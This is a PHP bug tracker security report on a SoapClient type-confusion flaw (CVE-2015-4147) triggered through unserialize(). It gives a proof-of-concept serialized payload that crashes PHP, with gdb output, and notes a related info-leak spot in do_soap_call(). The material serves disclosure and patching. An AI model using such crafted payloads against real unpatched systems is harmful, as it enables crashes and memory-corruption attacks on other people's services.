php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69085 SoapClient's __call() type confusion through unserialize()
Submitted: 2015-02-19 23:13 UTC Modified: 2015-08-10 08:12 UTC
From: andrea dot palazzo at truel dot it Assigned: dmitry
Status: Closed Package: SOAP related
PHP Version: Irrelevant OS:
Private report: No CVE-ID: 2015-4147
 [2015-02-19 23:13 UTC] andrea dot palazzo at truel dot it
Description:
------------
SoapClient's __call() method is prone to a type confusion vulnerability which can be used to gain remote code execution through unsafe unserialize() calls.

In soap.c:2906

if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__default_headers", sizeof("__default_headers"), (void **) &tmp)==SUCCESS) {
       HashTable *default_headers = Z_ARRVAL_P(*tmp);

the Z_ARRVAL_P macro is called on __default_headers assuming that it is an array without any actual check about it.

It has been shown several times that this kind of vulnerability could lead to crash, arbitrary read/write memory access and code execution, so I'm not discussing about the actual exploitation of this one (you can refer to my previous submissions about natsort() and extract() if needed by the way).
However, it's worth pointing out that given the nature of __call() magic method, any direct call on a user-controlled userialized input should be considered remotely exploitable.


Test script:
---------------
<?php

//tested on 64bit Ubuntu PHP 5.6.6
//crash on memory access violation @1337

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";i:1337;}');
var_dump($dummy->whatever());

?>

Actual result:
--------------
(gdb) r soapvar.php 
Starting program: /usr/bin/php soapvar.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffec568700 (LWP 13984)]
[Thread 0x7fffec568700 (LWP 13984) exited]

Program received signal SIGSEGV, Segmentation fault.
zend_hash_internal_pointer_reset_ex (ht=ht@entry=0x539, pos=pos@entry=0x0)
    at /build/buildd/php5-5.6.3+dfsg/Zend/zend_hash.c:1020
1020			*pos = ht->pListHead;
(gdb) x/i $pc
=> 0x6e93d3 <zend_hash_internal_pointer_reset_ex+3>:	mov    0x20(%rdi),%rax
(gdb) p $rdi
$1 = 1337

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-03-02 09:33 UTC] dmitry@php.net
it should be fixed now
 [2015-03-02 14:21 UTC] andrea dot palazzo at truel dot it
Hi, the fix seems ok to me, the Z_TYPE_PP check should do it.
By the way, doing a little more testing I came across another entry point for a very similiar issue located in do_soap_call() (called by __call(), indeed). Let me know if I should open another topic or it is ok to discuss it here.

Andrea
 [2015-03-02 14:58 UTC] dmitry@php.net
please, add the references to the other similar places right here. Just branch, file, line number.
 [2015-03-02 15:39 UTC] andrea dot palazzo at truel dot it
Here you go, soap.c:2754, in do_soap_call()

if (call_uri == NULL) {
	call_uri = Z_STRVAL_PP(uri);
}

where uri comes from zend_hash_find(Z_OBJPROP_P(this_ptr), "uri", sizeof("uri"), (void *)&uri), line 2748.

If the "uri" field has been previously unserialized as an int
, this could still result in an info leak whereas the attacker would be able to control a str.val field of a zval.
 [2015-03-03 07:24 UTC] dmitry@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: dmitry
 [2015-03-03 07:24 UTC] dmitry@php.net
I hope all the similar problems in ext/soap should be fixed now
 [2015-03-03 10:38 UTC] andrea dot palazzo at truel dot it
They should be, I'll take a more accurate look these days and keep you posted if something else comes up.
Thank you for your time and please let me know if your are going to assign a CVE to this one.

Best regards,
Andrea
 [2015-08-10 08:12 UTC] kaplan@php.net
This issue was assigned with two CVEs at http://seclists.org/oss-sec/2015/q2/599

CVE-2015-4147
CVE-2015-4148
 [2015-08-10 08:12 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-4147
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Wed Jul 26 04:01:41 2017 UTC